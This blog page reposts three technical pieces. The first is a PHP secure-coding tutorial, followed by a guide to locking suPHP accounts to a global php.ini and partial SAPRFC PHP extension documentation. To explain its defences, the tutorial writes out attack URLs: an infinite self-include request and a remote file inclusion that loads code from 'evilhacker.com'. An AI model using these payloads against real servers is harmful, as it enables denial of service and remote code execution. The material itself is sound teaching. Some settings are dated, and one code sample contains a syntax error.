Monday, January 24, 2011

PHP - Secure coding

Practical PHP

(Original version written by Paul Hudson for LXF issue 56.)
The Internet is the most fertile ground for malicious attacks ever invented, and it's also where most of our PHP scripts live. We look at how to protect your work...

Disabling fopen URLs might not be possible if you're using that functionality yourself, but otherwise it's strongly recommended.

Hardened PHP: the saviour of PHP programmers everywhere, or a bridge too far? Check out the site at www.hardened-php.net and decide for yourself.
Although it might not seem like it, it was two years ago this month that the Practical PHP tutorial kicked off - time flies when you're having fun, or something like that! Over the past two years we've looked at databases, multimedia, performance issues, process control, and various other topics to help hone your programming skills, but something we've not looked at yet - and this is perhaps an oversight on my behalf if nothing else! - is the topic of security. That is, how to write your scripts so that they cannot be exploited by malicious users.
As PHP is nearly always used to produce customer-facing front-ends, it does mean that most of the PHP code written is open to attack on two primary vectors: exploiting errors or omissions in your code, or exploiting security glitches in PHP itself. Of the two, the former is easier to prevent and is primarily accomplished by learning a small selection of guidelines to help keep your code safe. The latter may sound out of your control, but we're going to be looking at a couple of simple tricks that obscure PHP's presence on your system so that even if you're vulnerable to a PHP bug no one need ever know.

Programming secure PHP

Early versions of PHP, even up to v4.1 (released December 10th 2001), "helpfully" converted all incoming data into variables, whether that was system data, cookie data, session data, or straight user data such as form fields. This made programming with PHP particularly easy, but also particularly dangerous - failure to distinguish between trusted (system) and untrusted (user) data made exploiting many PHP scripts laughably easy.
However, as the language had been around for several years, changing this situation was going to be difficult: the PHP developers had the choice of leaving the status quo and having PHP scripts vulnerable to attack, or massively breaking backwards compatibility but making scripts much more secure. Unsurprisingly, the latter option was chosen and the register_globals php.ini setting was deprecated in PHP 4.1, which meant that it was left enabled (meaning that all data was automatically converted to variables) but users were warned against its use to give them time to migrate their scripts. Also introduced with PHP 4.x were the superglobal arrays $_GET, $_POST, etc, which became the preferred method of accessing data.
From PHP 4.2, register_globals was disabled by default, which meant that all programmers who wanted to stick to the standard php.ini settings (the vast majority) had to migrate their scripts to $_GET and $_POST if they wanted to upgrade. This was a painful move, but one that was definitely worth it: all new scripts are now produced using this more secure programming method, which helps keep attackers at bay. You can still enable register_globals if you really want to, and some do, but this does at least mean that system administrators need to explicitly remove the extra security.

Put key files outside your document root

Most Linux boxes have their document root - the root directory of their web site - as /var/www or something similar, which means that everything inside /var/www and its subdirectories are accessible by default over the web. While this makes permission control straightforward, many people store sensitive files inside this public directory, potentially making them accessible to the world. One of the most striking examples of why this is bad practice is "Google hacking" - the act of using Google to drag up otherwise-hidden information that Google stumbled across and cached.
Although it's possible to not link to these sensitive files from anywhere, and you can also easily give them hard to guess filenames (hint: "dbconnect.php" isn't a smart filename!), a much better option is to put these sensitive documents outside the document root of your web server so that only scripts on your site can load them. For example, if your document root is /var/www/html, you could put these key documents in /var/www and keep them safe from the outside world.

Choose your file extension carefully

PHP can parse any valid script, whether it's called foo.php, very_long_name.php.php.php, or even wom.bat. Using the default extension of ".php" means that before hackers start you've already told them you're using PHP. If you're using PHP for every script on your server, consider using the ".html" extension for your scripts and making PHP parse HTML files. To external users it will look like you're running static HTML, but internally it works just the same. If you really want to confuse hackers, try using the ".asp" extension usually seen on Microsoft web servers!
If you're running Apache, you can change your file extension by changing this line:
AddType application/x-httpd-php .php
The .php part can be changed to .html, .foo, or whatever else you want - be creative!

Keep PHP scripts executable

Once you've chosen the file extension for your PHP scripts, stick to it. A large number of programmers coming from other languages try to import their filing rules directly into PHP, which resulted in them using the file extension ".inc" for "include" files - scripts that only served to be included into other scripts. While this certainly allows you to distinguish include files from non-include files simply by looking at a directory listing, it's actually a major security hole.
For example, if you save your database connection info in a file, then include() that file into every script you write, that file would probably be called something like dbconnect.inc if you followed this naming convention. Now, what happens if someone were to type www.yoursite.com/dbconnect.inc directly into their web browser? Your web server would load the ".inc" file, and send it as plain text because it doesn't end in a PHP-handled file extension, which means that someone accessing the .inc file directly would see your source code.
A much better solution, if you particularly want to mark your files as include files, is to use the extension .inc.php - this way, they will be parsed by PHP before being sent to people directly, and therefore won't reveal your source code, whilst at the same time clearly marking them as include files.

Hide your identity

Most web servers, by default, send out information about themselves with each request served. For example, a default installation of Mandrake Linux 10.0 returns the following information with each file served:
Server: Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6.1.100mdk) mod_perl/1.99_11 Perl/v5.8.3 mod_ssl/2.0.48 OpenSSL/0.9.7c PHP/4.3.4
From that we can ascertain that the machine is running Apache 2.0.48 ("Advanced Extranet Server" is Mandrake's name for their modified version of Apache), along with mod_perl, mod_ssl, and PHP 4.3.4.
Now, all an attacker has to do is check for known bugs in Apache 2.0.48 or PHP 4.3.4. As both of these have been out for a very long time, there are likely several known exploits in there, of which at least one may well be /remotely/ exploitable. Many malicious users make use of automated version scanners that trawl through the web looking for specific version numbers of Apache or its plugins and compile lists of vulnerable machines.
Open up your httpd.conf file, and look for the two directives "ServerSignature" and "ServerTokens". Both of these control what information Apache gives out about itself, and are set by default to send out comprehensive information. ServerSignature is used to define what Apache prints at the bottom of server-generated pages such as 404 error pages.
Similarly, with ServerTokens set to full (the default), the same information is sent along with every request. To change this, set ServerSignature to "Off" and ServerTokens to "Prod" - this will stop it printing anything out for error messages, and restrict the information sent with each request to just "Apache". A big step forward - at least now your site won't appear if people are scanning for certain Apache versions.

Hiding PHP

By default, PHP is set to announce its presence whenever anyone asks - this is usually through the web server. As discussed, you can turn this off using ServerTokens and ServerSignature, but if you'd rather not throw the baby out with the bath water you can be a little more selective about how modules report themselves. For example, if you leave ServerTokens and ServerSignature on, you can still hide PHP's existence by changing "expose_php" to "Off" in php.ini - this leaves most server information showing, but hides the PHP data.
If you do this, as well as using a different file extension, your use of PHP is mostly hidden. However, if your code generates any error messages, your use of PHP will become immediately obvious. To get around this, and thereby truly hiding PHP, you should force PHP not to display error messages - edit your php.ini file and set "display_errors" to "Off". This will make debugging a little harder, but be sure to set "log_errors" to "On" - this will make sure that whenever your script generates an error, it will be stored away in the error log file so that you can analyse the problem at your leisure.

Restrict database access

Although the PHP code that drives your site may well be unique and of value to your company, it's likely that the database behind it is much more important and should be treated as such. MySQL's access control is very finely grained, and gives you a great deal of control over who can do what. Even so you should take advantage of this to make sure you only allow in people you absolutely trust. The first step in this process is to remove the guest account, leaving only the root user plus any others you use. Secondly, if you're running your server locally and the PHP scripts are local also, you don't need to allow access to anyone from outside - disable accounts that don't have "localhost" as the host. Finally, consider blocking port 3306 (the MySQL port) on your firewall so that there's one less possible way into your system.
You can also rethink how your PHP scripts connect to MySQL - most people go for one of two options: write database connection code into each of your scripts, or write it into just one script and link all your pages to that one. The latter is usually preferred as it makes life easier when you change your connection password, but it does mean that you're putting all your eggs in one basket as it were. Fortunately there is a third option that can sometimes be better: placing your connection details inside your php.ini file. If you don't supply connection details to mysql_connect(), PHP will use the values set in your php.ini file, which means you don't need to store your username and password information in your scripts any more. At first this might sound perfect, but it has major security implications of its own:
- Anyone with access to your php.ini can read the values direct from the file - Anyone with the ability to put scripts on your server can use the ini_get() function to read the value from your php.ini file
If you firmly believe you're safe from these two, then go ahead and use your php.ini file.
Finally, don't forget that the fine-grained access control of MySQL means it's easy to use multiple usernames and passwords to segment security on your server - having one set of credentials for your news database, another for your forums, and so on, means that even if somehow your site gets hacked there is some degree of damage limitation.

Denial of service

Although I don't want to discourage you, it is actually remarkably easy for malicious users to take down your site even if your code is perfect and PHP itself is patched up to date. Denial of service (DoS) is the term for people attacking your site to make it either run slow or come offline entirely, and there are three vectors:
- A malicious user with a fast Internet connection bombards your web server with requests, thereby overloading it - A malicious user with accomplices, who may be unwitting, bombard your web server with requests, thereby overloading it. In this situation the attackers don't need fast Internet connections - 100 requests from 10,000 people is more damaging than 1,000,000 requests from one person. - A malicious user finds a hole in your web site that forces your server to perform an inordinate amount of work, thereby overloading the server.
Of the three, the first two are impossible to defend against - the world's largest sites have been taken offline by these form of denial of service, and there's nothing you can do whether or not you're using PHP. The last option, however, /is/ something you can guard against. If you have holes in your code that can be exploited by outsiders to cause your web server to chew up 99% of your CPU time, this is a legitimate security issue.
A popular mistake is to write code that results in URLs like this:
www.example.com/article.php?file=aboutus.php
www.example.com/article.php?file=products.php
www.example.com/article.php?file=legal.php
The code for article.php will basically read in the $_GET['file'] variable, then include() the necessary file into the script. This might make sense at first, but consider what happens if a clever use modified the URL to this:
www.example.com/article.php?file=article.php
What will happen is that article.php will load, then include() article.php, which will load, then include() article.php, which will load, then... and so on. This will continue going on and on until your server hits the maximum execution time for a script and terminates. However, during this time your web server will be performing large amounts of unnecessary work, and will be slower for other clients connecting to it.
Now consider what would happen if that same malicious user loaded that URL three times quickly - or thirty. From that, consider what would happen if that user loaded the URL three thousand times, which is nothing difficult considering that can be handled even with a slow connection using a HTTP HEAD request. At three thousand almost-simultaneous connections, even a normal web server would have trouble coping. However, if each of those three thousand resulted in a CPU-consuming infinite include() loop, the server would simply stop responding to new requests and may well even crash.
The moral of the story is that you should always keep in mind the possibility that malicious users may use your own code against you. The most obvious solution to the problem detailed here is not include files based upon a variable, but if that's not possible then at least consider using include_once() to stop the possible of recursion.
Even with this fix in place, it's still not a smart idea to advertise so openly that you are including files to get your content. For example, a malicious user could rewrite your URL to this:
www.example.com/article.php?file=http://www.evilhacker.com/somescript.php
That would cause your server to connect to an external site to get its code, which essentially allows the evil hacker to execute whatever code they please on your site. This form of attack can be stopped in its tracks by editing your php.ini file and setting allow_url_fopen to Off.

Safe mode

Hosting PHP scripts is pretty much an invitation for your users to abuse their privileges, and it's remarkably easy to do with PHP. Fortunately for us, the PHP developers took this situation into account and created /safe mode/ - a setting that can be toggled in the php.ini file, which, when enabled, applies various lockdowns to the language. For example, by default safe mode blocks the dl() function, as it could potentially be used by attackers to load an unsafe extension for execution.
By default, PHP running in safe mode will only work with files that are owned by the same person who owns the script that's being run - the user ID (UID) of the owner of the script must match the UID of the owner of the file being read. This includes files being read through fopen(), and even files being read through an include call. In addition, there are several settings in your php.ini file that are likely to be of help if you're trying to secure your PHP environment:
  • safe_mode_include_dir - this defines a directory you consider safe on your computer, where all files can be worked with regardless of their ownership. Files read from this directory don't have their UID checked against the owner of the script.
  • safe_mode_exec_dir - this defines a directory from which you want PHP to be able to execute programs while running in safe mode. If this isn't set, all calls to exec() will fail.
  • safe_mode_allowed_env_vars - this defines a list of environment variables that the user will be allowed to change. If this is not set, all variables can be edited, which is not likely to be a good thing if abused.
  • open_basedir - this setting allows you to limit the location from where files can be read, thereby stopping people from reading in any files they please. This is a tricky setting to get right, and is discussed in more depth below.
  • disable_functions - this setting does precisely what you'd expect it to - provide it with a list of functions you don't want to be used, and it will automatically stop scripts from using them. Specify multiple functions with commas, for example: readfile,exec,fopen.
  • disable_classes - this takes a list of classes you don't want people to create objects from, and stops them being created, as you'd expect. As with disable_functions, use commas to separate multiple class names.
The settings are generally easy to grasp, as you can see, however open_basedir is a little more complicated than it first seems. For example, open_basedir will work regardless of whether safe mode is enabled, whereas the others only kick in when PHP is operating in safe mode. Secondly, the directories you pass in to this directive, separated by commas, are considered to be prefixes by default. For example, /home/paul will allow files in /home/paul to be loaded, but also in /home/paul_the_hacker, etc. To clarify a particularly directory exactly, add a slash to the end. For example: /home/paul/ would only match the directory /home/paul.
Finally, note that this directive resolves all links. For example, if file /home/paul/passwd is symlinked to /etc/passwd, and open_basedir has been used to restrict file inclusion to /home/paul/, including /home/paul/passwd would fail - PHP would detect that it linked to a file stored in /etc, outside of the open_basedir path, and prevent the call from continuing.

LXF Tip

Note that many Linux distributions backport security fixes to their stable release of Apache and its modules. For example, although Red Hat Enterprise Linux 3 ships with Apache 2.0.46, it incorporates backports of all the security fixes introduced in 2.0.47, 2.0.48, and 2.0.49. As a result, you cannot rely solely on the hard-coded version number to tell you whether you have the latest release or not - check with your vendor for more information.

Hardened PHP

If you want to take your PHP security a step further and you compile your own version from the source code as opposed to using pre-built binaries, you can apply a special set of patches called Hardened PHP that toughen up PHP's internals to make them more robust. For example, it runs so-called "canary checks" that ensure buffer overflows are spotted and stopped before they can cause problems, but it also monitors the Zend Engine's memory management routines to make sure all memory is allocated and freed safely.
Although it does undoubtedly improve the security of PHP as a whole, we'd probably not recommend Hardened PHP to everyone - unless you're really paranoid, Hardened PHP is best left to environments with shared resources, such as shared hosting web servers.
 

Methods to Increase Security on suPHP - Restricting who can use php.ini files

The php.ini file under suPHP

While suPHP has various security enhancements over DSO PHP such as running processes as the user rather than nobody as well as only allowing 755 folder and 644 file permissions, the option to allow individual php.ini files is a glaring security concern.

There are several methods that can be used to disallow users to have their own php.ini files under suPHP. The path you take will depend on whether you want to allow users to have their own in some circumstances or to restrict all accounts on the server to the global php.ini file at /usr/local/lib/php.ini location.

Restrict all accounts to the global php.ini file

To restrict all accounts to the global php.ini file, you would edit the /opt/suphp/etc/suphp.conf file:

Uncomment these lines:
Code:
[phprc_paths]
;Uncommenting these will force all requests to that handler to use the php.ini
;in the specified directory regardless of suPHP_ConfigPath settings.
;application/x-httpd-php=/usr/local/lib/
;application/x-httpd-php4=/usr/local/php4/lib/
;application/x-httpd-php5=/usr/local/lib/
To these:
Code:
[phprc_paths]
;Uncommenting these will force all requests to that handler to use the php.ini
;in the specified directory regardless of suPHP_ConfigPath settings.
application/x-httpd-php=/usr/local/lib/
application/x-httpd-php4=/usr/local/php4/lib/
application/x-httpd-php5=/usr/local/lib/
Save the file, then restart Apache for good measure. Now, if any account tries to put suPHP_ConfigPath into their .htaccess file, that account will return an Internal Server Error until they remove the .htaccess line. No account will be able to use another php.ini file with this as the default unless you allow the account in the php.ini file itself.

If you have PHP 5.3+ and want to allow some accounts to have their own php.ini file

If you have restricted all accounts globally to the /usr/local/lib/php.ini file and want to have one or more accounts bypass the restriction, this is possible under PHP 5.3 using the global php.ini itself.

Method One: Allowing individual user_ini files

In /usr/local/lib/php.ini file, put the following line:

Code:
user_ini.filename = .my.ini
The .my.ini name can be anything. Save the file, then go to the account you want to allow their own settings and create .my.ini on the account (it can be anywhere on the account so /home/username/public_html/.my.ini)

In the .my.ini file, you would be able to put only the changes you want to have such as register_globals = On for that account. Of note, only the PHP_INI_PERDIR and PHP_INI_USER directives are allowed in this file. Any PHP_INI_SYSTEM directives will not be changeable there.

Method Two: Putting individual user settings into the global php.ini file

This is the better method in my opinion. At the bottom of /usr/local/lib/php.ini file, you can actually define individual user php.ini directives with the path to that user's application:

Code:
[PATH=/home/username/public_html]
register_globals=On
post_max_size=5000M
Here is an example putting that at the bottom of /usr/local/lib/php.ini for an account. If you try doing this in PHP 5.2, it will change the global value to the new ones rather than just that user's as PHP 5.2 doesn't support the path directive. Only PHP 5.3 will work properly to read the path to the user's application. Under this method, even PHP_INI_SYSTEM directives are changeable for that account.

Under Method One for the user_ini file, the user does have the ability to themselves modify directives in their .my.ini file on the account. Under Method Two for the global php.ini user path directives, only the administrator of the machine could modify the directives. Of note, anyone can create their own user_ini file under Method One, but they would need to know the name in the global php.ini to do so (since you can call the file anything, so it could be called .guessme.ini instead and users aren't then likely to know the name to bypass restrictions).

If you are using PHP 5.2 or earlier (PHP 5 only, not tested on PHP 4 nor guaranteed to work on PHP 4)

If you are not using PHP 5.3, then the prior methods will not work. This then leads instead to the more complicated option to allow some users to have their own php.ini file and some users to be restricted to the global php.ini file.

Under this method, you cannot have the phprc_paths uncommented, so you must have them commented out. As such, you would need to ensure /opt/suphp/etc/suphp.conf looks like the following for that area:

Code:
[phprc_paths]
;Uncommenting these will force all requests to that handler to use the php.ini
;in the specified directory regardless of suPHP_ConfigPath settings.
;application/x-httpd-php=/usr/local/lib/
;application/x-httpd-php4=/usr/local/php4/lib/
;application/x-httpd-php5=/usr/local/lib/
Now, you would need to do the following steps:

1. Restrict all users to the global php.ini

Create the following directory:
Code:
mkdir -p /usr/local/apache/conf/userdata
Create a file in that directory:
Code:
cd /usr/local/apache/conf/userdata
vi suphp_config.conf
In that file, place the following:
Code:


suPHP_ConfigPath /usr/local/lib
Save the file (:wq). The above will restrict all current users to the /usr/local/lib location for the php.ini file.

2. Allowing one user to have an individual php.ini

Create the following directories:
Code:
mkdir -p /usr/local/apache/conf/userdata/std/2/username
Here, std is for http. If you are also wanting this for https, you'd also create an ssl directory. The 2 is for Apache 2 and 2.2. If you are using Apache 1.3, you'd use 1 instead. The username is the cPanel username, so replace with the correct username.

In that location, create the file:
Code:
cd /usr/local/apache/conf/userdata/std/2/username
vi suphp_config.conf
In that file, place the following:
Code:


suPHP_ConfigPath /home/username/
Again, replace username with the cPanel username. This will allow a php.ini file to be placed into /home/username level only. Save the file (:wq).

3. Adding additional directories

Further directories can be allowed on the user's account who is being allowed to have a php.ini file. If you change the entry to this in
/usr/local/apache/conf/userdata/std/2/username/suphp_config.conf location:

Code:


suPHP_ConfigPath /home/username/{public_html}/{folder1,folder2}
This allows a php.ini in public_html as well as in public_html/folder1 and public_html/folder2 locations.

4. Checking the changes into httpd.conf

Create a backup of Apache in case you need to revert to it:
Code:
cp /usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/httpd.conf.bak100902
Here 100902 is the date where today is September 2, 2010.

Now, run the following command to verify the includes:
Code:
/scripts/verify_vhost_includes
If each checks out OK, you'd then run this command to check these into the system:
Code:
/scripts/ensure_vhost_includes --all-users
Now, rebuild Apache and restart it (rebuilding isn't entirely necessary in this instance, but I normally just do it as a precaution to ensure everything is working fine):
Code:
/scripts/rebuildhttpdconf
/etc/init.d/httpd restart
Two Important Notes on Above Method

1. mod_userdir exception

mod_userdir will bypasses the suPHP_ConfigPath restriction for the global php.ini file. If you have a user with the following url type:

http://hostname/~username/

That url will allow any php.ini files or suPHP_ConfigPath set into .htaccess to parse under mod_userdir. This is unwanted behavior, and the only current way I'm aware to prevent it would be to disable mod_userdir on such a system.

2. New accounts aren't restricted

Any accounts created after you have locked users into the global php.ini file using the tags around suPHP_ConfigPath in userdata location will not be restricted to it. Each time a new account is created, the following must be run after the account creation to lock that account to the global restriction:

Code:
/scripts/ensure_vhost_includes --all-users
/etc/init.d/httpd restart
Final Note: suPHP_ConfigPath in httpd.conf

Defining the suPHP_ConfigPath line in the VirtualHost entry in httpd.conf does not restrict the account to using that path if the tags are not around it. Without those tags, if a user defines the suPHP_ConfigPath into their .htaccess file on their account in either /home/user/ or /home/user/public_html, their .htaccess entry will override the httpd.conf VirtualHost entry. You can only lock users to the set suPHP_ConfigPath by the previously described method.

Wednesday, January 19, 2011

SAPRFC functions

SAPRFC use RFC (remote call function) API to make call a function module in SAP R/3. You can also write RFC server program in PHP and call PHP functions from SAP R/3. Function modules are defined in transaction SE37 (Function Builder). Each function module has interface defined. The interface definition consist from import parameters (input), export parameters (output), internal tables (input/output) and exceptions. The function module have to set RFC support enable to be able called by RFC from a remote system. More information about function modules and programming concepts in SAP R/3 you can find on http://help.sap.com under the BC manuals.
You need to compile PHP with the --with-saprfc parameter to enable this extension. You also need SAP RFCSDK (if you are SAP customer, you can find it on the "Presentation CD").
Table of Contents
saprfc_attributes — Gets some information about RFC connection
saprfc_call_and_receive — Does a remote call of an function module
saprfc_close — Closes a RFC connection
saprfc_error — Gets the last RFC error message
saprfc_exception — Gets a exception string for last call of an function module
saprfc_export — Gets a value of a export parameter
saprfc_function_debug info — Prinst an interface definition of a function module and content of internal buffers
saprfc_function_define — Defines an interface of a function module
saprfc_function_discover — Discovers an interface of a function module
saprfc_function_free — Frees a function module resources
saprfc_function_interface — Gets an interface definition of a function module
saprfc_function_name — Gets the name of function module
saprfc_import — Sets a value of a import parameter
saprfc_server_accept — Accepts an incoming RFC connection
saprfc_server_export — Sets a value of a export parameter
saprfc_server_import — Gets a value of a import parameter
saprfc_server_dispatch — Receives a single RFC request and call a corresponding PHP function
saprfc_server_register_check — Check for registered RFC server at a SAP gateway
saprfc_server_register_cancel — Cancel all registered RFC servers at a SAP gateway
saprfc_set_trace — Activate/Deactivate the RFC trace
saprfc_table_append — Appends a line at end of internal table
saprfc_table_init — Init a internal table
saprfc_table_insert — Inserts a line into an internal table
saprfc_table_modify — Modify a line of an internal table
saprfc_table_read — Reads a line from an internal table
saprfc_table_remove — Removes a line of an internal table
saprfc_table_rows — Gets a number of lines an internal table
saprfc_trfc_call — Calls a function module in R/3 indirectly (tRFC)
saprfc_trfc_dispatch — Receives a single RFC request and call a corresponding PHP function (tRFC)
saprfc_trfc_install — Installs functions to control transactional behaviour (tRFC)
saprfc_trfc_tid — Gets a transaction-ID for a following call of a function module using tRFC
saprfc_open — Open a RFC connection to SAP R/3
saprfc_optional — Set a import parameter as optional
saprfc_set_code_page — Set SAP codepage for a RFC connection
saprfc_allow_start_program — Explicitly allows the RFC library to start the programs
saprfc_get_ticket — Retrieve backend generated cookie version 2 after calling saprfc_open with flag GETSSO2

saprfc_attributes

(PHP 4, PHP 5)
saprfc_attributes  --  Get some information about RFC connection

Description

array saprfc_attributes (int rfc)
Return array with some information about an RFC connection, such as host name, service of the connected application server and SAP gateway, the R/3 system number, client, user and language.
It should be called after saprfc_call_and_receive() or saprfc_server_dispatch().

$attr[dest]field RFC destination
$attr[own_host]Own host name
$attr[partner_host]Partner host name
$attr[systnr]R/3 system number
$attr[sysid]R/3 system name
$attr[client]Client
$attr[user]User
$attr[language]Language
$attr[trace]ON/OFF: 'X'/' '
$attr[ISO_language]2-byte ISO-Language
$attr[own_codepage]Own code page
$attr[partner_codepage]Partner code page
$attr[rfc_role]C/S: RFC Client / RFC Server
$attr[own_type]2/3/E/R: R/2,R/3,Ext,Reg.Ext
$attr[own_rel]My system release
$attr[partner_type]2/3/E/R: R/2,R/3,Ext,Reg.Ext
$attr[partner_rel]Partner system release
$attr[kernel_rel]Partner kernel release
$attr[CPIC_convid]CPI-C Conversation ID

saprfc_call_and_receive

(PHP 4, PHP 5)
saprfc_call_and_receive  --  Do a remote call of an function module

Description

int saprfc_call_and_receive (int fce)
Call a function module defined by function handle fce. Return SAPRFC_OK if the call was successfully completed.
List of SAP RFC return codes:

SAPRFC_OKO.K.
SAPRFC_FAILUREError occurred
SAPRFC_EXCEPTIONException raised
SAPRFC_SYS_EXCEPTIONSystem exception raised, connection closed
SAPRFC_CALLCall received
SAPRFC_INTERNAL_COMInternal communication, repeat (internal use only)
SAPRFC_CLOSEDConnection closed by the other side
SAPRFC_RETRYNo data yet
SAPRFC_NO_TIDNo Transaction ID available
SAPRFC_EXECUTEDFunction already executed
SAPRFC_SYNCHRONIZESynchronous Call in Progress
SAPRFC_MEMORY_INSUFFICIENTMemory insufficient
SAPRFC_VERSION_MISMATCHVersion mismatch
SAPRFC_NOT_FOUNDFunction not found (internal use only)
SAPRFC_CALL_NOT_SUPPORTEDThis call is not supported
SAPRFC_NOT_OWNERCaller does not own the specified handle
SAPRFC_NOT_INITIALIZEDRFC not yet initialized.
SAPRFC_SYSTEM_CALLEDA system call such as RFC_PING for connectiontest is executed
SAPRFC_INVALID_HANDLEAn invalid handle was passed to an API call.
SAPRFC_INVALID_PARAMETERAn invalid parameter was passed to an API call.
SAPRFC_CANCELEDInternal use only

Example 1. Call ABAP function module

$rfc_rc = saprfc_call_and_receive ($fce);
switch ($rfc_rc) {
   case SAPRFC_OK        : break;
   case SAPRFC_EXCEPTION : echo ("Exception raised:".saprfc_exception($fce));
                           // handle exception
   default:              : echo ("RFC error ".saprfc_error());
                           exit;  
}
?>
                 
See also: saprfc_exception(), saprfc_error()

saprfc_close

(PHP 4, PHP 5)
saprfc_close  --  Close a RFC connection

Description

bool saprfc_close (int rfc)
Close a RFC connection.
See also: saprfc_open(), saprfc_server_accept()

saprfc_error

(PHP 4, PHP 5)
saprfc_error  --  Get a last RFC error message

Description

string saprfc_error ()
Get string with more information on RFC errors that have occurred.

saprfc_exception

(PHP 4, PHP 5)
saprfc_exception  --  Get a exception string for last call of an function module

Description

string saprfc_exception (int fce)
Get a exception string for last call of an function module.
See also: saprfc_call_and_receive()

saprfc_export

(PHP 4, PHP 5)
saprfc_export  --  Get a value of a export parameter

Description

mixed saprfc_export (int fce, string name)
Return value of a export parameter name for function handle fce.

Example 1. Set of the import parameter

$NAME = saprfc_export ($fce,"NAME");
   echo ($NAME);
   $FULLNAME = saprfc_export ($fce,"FULLNAME");
   echo ($FULLNAME[FIRST]." ".$FULLNAME[LAST]);
?>
                 
See also: saprfc_import(), saprfc_server_import(), saprfc_server_export()

saprfc_function_debug info

(PHP 4, PHP 5)
saprfc_function_debug info  --  Print an interface definition of a function module and content of internal buffers

Description

void saprfc_function_debug_info (int fce, [bool only_values])
Show debug information for the function handle fce. If only_values is true don't show interface definition, show values of parameters and values of internal tables only.

saprfc_function_define

(PHP 4, PHP 5)
saprfc_function_define  --  Define an interface of a function module

Description

int saprfc_function_define (int rfc, string function_module, array def, [bool not_trim = false])
Define interface of the function_module. The definition is in array def. Return function handle on success or false on failure. You can use saprfc_test.php script to get definition array for selected function module.
For definition of PHP server function can be rfc parameter set to 0.

Example 1: Interface definition for function module RFC_READ_REPORT

$def = array (
      array (
       "name"=>"SYSTEM",
       "type"=>"EXPORT",
       "optional"=>"0",
       "def"=> array (
        array ("name"=>"","abap"=>"C","len"=>8,"dec"=>0,"offset"=>0)
       )
     ),
      array (
       "name"=>"TRDIR",
       "type"=>"EXPORT",
       "optional"=>"0",
       "def"=> array (
        array ("name"=>"NAME","abap"=>"C","len"=>40,"dec"=>0,"offset"=>0),
        array ("name"=>"SQLX","abap"=>"C","len"=>1,"dec"=>0,"offset"=>40),
        array ("name"=>"EDTX","abap"=>"C","len"=>1,"dec"=>0,"offset"=>41),
        array ("name"=>"VARCL","abap"=>"C","len"=>1,"dec"=>0,"offset"=>42),
        array ("name"=>"DBAPL","abap"=>"C","len"=>1,"dec"=>0,"offset"=>43),
        array ("name"=>"DBNA","abap"=>"C","len"=>2,"dec"=>0,"offset"=>44),
        array ("name"=>"CLAS","abap"=>"C","len"=>4,"dec"=>0,"offset"=>46),
        array ("name"=>"TYPE","abap"=>"C","len"=>3,"dec"=>0,"offset"=>50),
        array ("name"=>"OCCURS","abap"=>"C","len"=>1,"dec"=>0,"offset"=>53),
        array ("name"=>"SUBC","abap"=>"C","len"=>1,"dec"=>0,"offset"=>54),
        array ("name"=>"APPL","abap"=>"C","len"=>1,"dec"=>0,"offset"=>55),
        array ("name"=>"SECU","abap"=>"C","len"=>8,"dec"=>0,"offset"=>56),
        array ("name"=>"CNAM","abap"=>"C","len"=>12,"dec"=>0,"offset"=>64),
        array ("name"=>"CDAT","abap"=>"D","len"=>8,"dec"=>0,"offset"=>76),
        array ("name"=>"UNAM","abap"=>"C","len"=>12,"dec"=>0,"offset"=>84),
        array ("name"=>"UDAT","abap"=>"D","len"=>8,"dec"=>0,"offset"=>96),
        array ("name"=>"VERN","abap"=>"C","len"=>6,"dec"=>0,"offset"=>104),
        array ("name"=>"LEVL","abap"=>"C","len"=>4,"dec"=>0,"offset"=>110),
        array ("name"=>"RSTAT","abap"=>"C","len"=>1,"dec"=>0,"offset"=>114),
        array ("name"=>"RMAND","abap"=>"C","len"=>3,"dec"=>0,"offset"=>115),
        array ("name"=>"RLOAD","abap"=>"C","len"=>1,"dec"=>0,"offset"=>118),
        array ("name"=>"FIXPT","abap"=>"C","len"=>1,"dec"=>0,"offset"=>119),
        array ("name"=>"SSET","abap"=>"C","len"=>1,"dec"=>0,"offset"=>120),
        array ("name"=>"SDATE","abap"=>"D","len"=>8,"dec"=>0,"offset"=>121),
        array ("name"=>"STIME","abap"=>"C","len"=>6,"dec"=>0,"offset"=>129),
        array ("name"=>"IDATE","abap"=>"D","len"=>8,"dec"=>0,"offset"=>135),
        array ("name"=>"ITIME","abap"=>"C","len"=>6,"dec"=>0,"offset"=>143),
        array ("name"=>"LDBNAME","abap"=>"C","len"=>20,"dec"=>0,"offset"=>149),
        array ("name"=>"UCCHECK","abap"=>"C","len"=>1,"dec"=>0,"offset"=>169)
       )
     ),
      array (
       "name"=>"PROGRAM",
       "type"=>"IMPORT",
       "optional"=>"0",
       "def"=> array (
        array ("name"=>"","abap"=>"C","len"=>40,"dec"=>0,"offset"=>0)
       )
     ),
      array (
       "name"=>"QTAB",
       "type"=>"TABLE",
       "optional"=>"0",
       "def"=> array (
        array ("name"=>"LINE","abap"=>"C","len"=>72,"dec"=>0,"offset"=>0)
       )
     )
    ); 

   $fce = saprfc_function_define($rfc,"RFC_READ_REPORT",$def);
?>
                 
See also: saprfc_function_discover(), saprfc_function_interface(), saprfc_function_debug_info(), saprfc_function_free()

saprfc_function_discover

(PHP 4, PHP 5)
saprfc_function_discover  --  Discover an interface of a function module

Description

int saprfc_function_discover (int rfc, string function_module, [bool not_trim = false])
Discover an interface of the function_module. Return function handle on success or false on failure. Use function modules RFC_GET_FUNCTION_INTERFACE_P and RFC_GET_STRUCTURE_DEFINITION_P in connected SAP R/3 to get information about the interface.
See also: saprfc_function_define(), saprfc_function_interface(), saprfc_function_debug_info(), saprfc_function_free()

saprfc_function_free

(PHP 4, PHP 5)
saprfc_function_free  --  Free a function module resources

Description

bool saprfc_function_free (int fce)
Free allocated resources for given function handle fce.

saprfc_function_interface

(PHP 4, PHP 5)
saprfc_function_interface  --  Get an interface definition of a function module

Description

array saprfc_function_interface (int fce)
Return interface definition for the function handle fce on success or false on failure. The definition has same format as in the saprfc_function_define().
See also: saprfc_function_define(), saprfc_function_discover()

saprfc_function_name

(PHP 4, PHP 5)
saprfc_function_name  --  Gets the name of function module

Description

string saprfc_function_name (int fce)
Return name of the function module for function handle fce on success or false on failure.

saprfc_import

(PHP 4, PHP 5)
saprfc_import  --  Set a value of a import parameter

Description

bool saprfc_import (int fce, string name, mixed value)
Set a value of the import parameter name. Return true on success or false on failure. The value can be single (string, number....) or structure (hash array - key=name of structure item).

Example 1. Set of the import parameter

saprfc_import ($fce,"NAME","Smith");
